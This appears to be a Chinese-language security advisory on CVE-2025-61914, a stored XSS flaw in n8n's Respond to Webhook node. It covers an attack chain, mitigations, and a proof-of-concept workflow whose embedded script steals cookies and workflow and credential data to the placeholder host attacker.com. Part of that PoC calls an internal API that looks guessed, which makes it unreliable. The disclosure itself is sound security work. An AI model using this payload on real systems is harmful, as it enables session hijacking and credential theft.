IPBUF安全漏洞报告
English
CVE-2025-61914 CVSS 7.3 高危

CVE-2025-61914: n8n工作流平台Respond to Webhook节点存储型XSS漏洞

披露日期: 2025-12-26

漏洞信息

漏洞编号
CVE-2025-61914
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
n8n

相关标签

存储型XSSn8n工作流自动化沙箱绕过CVE-2025-61914Webhook安全JavaScript注入

漏洞概述

n8n是一个开源工作流自动化平台。CVE-2025-61914漏洞存在于n8n 1.114.0版本之前,当使用"Respond to Webhook"节点时,该节点可以响应包含可执行脚本的HTML内容。攻击者利用此漏洞可以绕过在1.103.0版本中引入的沙箱机制,让恶意Payload直接在顶层窗口执行,而非在预期的沙箱环境中隔离执行。具有工作流创建权限的恶意用户可以利用此漏洞在n8n编辑器界面的上下文中执行任意JavaScript代码,从而窃取敏感信息、劫持用户会话或对其他用户发起进一步攻击。该漏洞的CVSS评分为7.3,属于高危级别,需要网络访问、低权限认证和用户交互才能利用。

技术细节

该漏洞的根本原因在于n8n的"Respond to Webhook"节点对HTML响应内容的处理存在安全缺陷。当Webhook响应包含HTML且其中嵌入JavaScript代码时,这些脚本能够在浏览器中直接执行,绕过了预期的安全沙箱隔离机制。具体来说:1) 攻击者需要获得工作流创建或修改权限;2) 创建一个包含恶意JavaScript的工作流,配置Respond to Webhook节点返回包含<script>标签或事件处理器(如onclick、onerror等)的HTML内容;3) 当其他用户访问该Webhook或触发相关工作流时,恶意脚本会在用户浏览器中以n8n编辑器域的权限执行;4) 由于脚本在顶层窗口而非沙箱iframe中执行,可以访问n8n的内部API、用户凭据、会话Cookie等敏感资源。攻击者可以利用此获得管理员权限或提取工作流中的敏感配置信息。

攻击链分析

STEP 1
步骤1
攻击者获取n8n平台的工作流创建或修改权限
STEP 2
步骤2
攻击者创建一个包含恶意HTML的工作流,配置Respond to Webhook节点返回包含<script>标签或事件处理器的HTML内容
STEP 3
步骤3
攻击者诱导受害者访问该Webhook端点或触发相关工作流执行
STEP 4
步骤4
受害者浏览器接收包含恶意脚本的HTML响应,脚本绕过沙箱机制在顶层窗口直接执行
STEP 5
步骤5
恶意脚本在n8n编辑器上下文中执行,窃取用户会话Cookie、内部API数据或执行其他恶意操作
STEP 6
步骤6
攻击者获取受害者权限,可进一步窃取凭据、修改工作流或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-61914 PoC - Stored XSS via Respond to Webhook node // This PoC demonstrates how to exploit the XSS vulnerability in n8n // Step 1: Create a malicious workflow with Respond to Webhook node const maliciousPayload = ` <html> <body> <script> // Steal session cookies document.cookie.split(';').forEach(cookie => { fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(cookie)); }); // Exfiltrate n8n internal data const n8nData = { workflows: [], credentials: [], userInfo: {} }; // Attempt to access n8n internal APIs if (window.n8nApi) { n8nData.workflows = window.n8nApi.getWorkflows(); n8nData.credentials = window.n8nApi.getCredentials(); } // Send stolen data to attacker server fetch('https://attacker.com/exfil', { method: 'POST', body: JSON.stringify(n8nData) }); </script> <h1>Webhook Response</h1> <p>Your request has been processed.</p> </body> </html> `; // Step 2: Workflow JSON configuration const workflow = { name: "Malicious Webhook Workflow", nodes: [ { name: "Webhook", type: "n8n-nodes-base.webhook", parameters: { path: "malicious-endpoint" } }, { name: "Respond to Webhook", type: "n8n-nodes-base.respondToWebhook", parameters: { respondWith: "options", responseBody: maliciousPayload, options: { responseContentType: "text/html" } } } ] }; console.log("Malicious workflow created. When triggered, XSS payload will execute in victim's browser.");

影响范围

n8n < 1.114.0

防御指南

临时缓解措施
临时缓解措施包括:1) 限制工作流创建和修改权限,仅允许受信任的用户创建和修改工作流;2) 避免在Respond to Webhook节点中使用不受信任的HTML响应;3) 使用外部反向代理或HTML清理器过滤包含可执行脚本的响应内容;4) 监控和审计工作流配置,及时发现异常配置。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表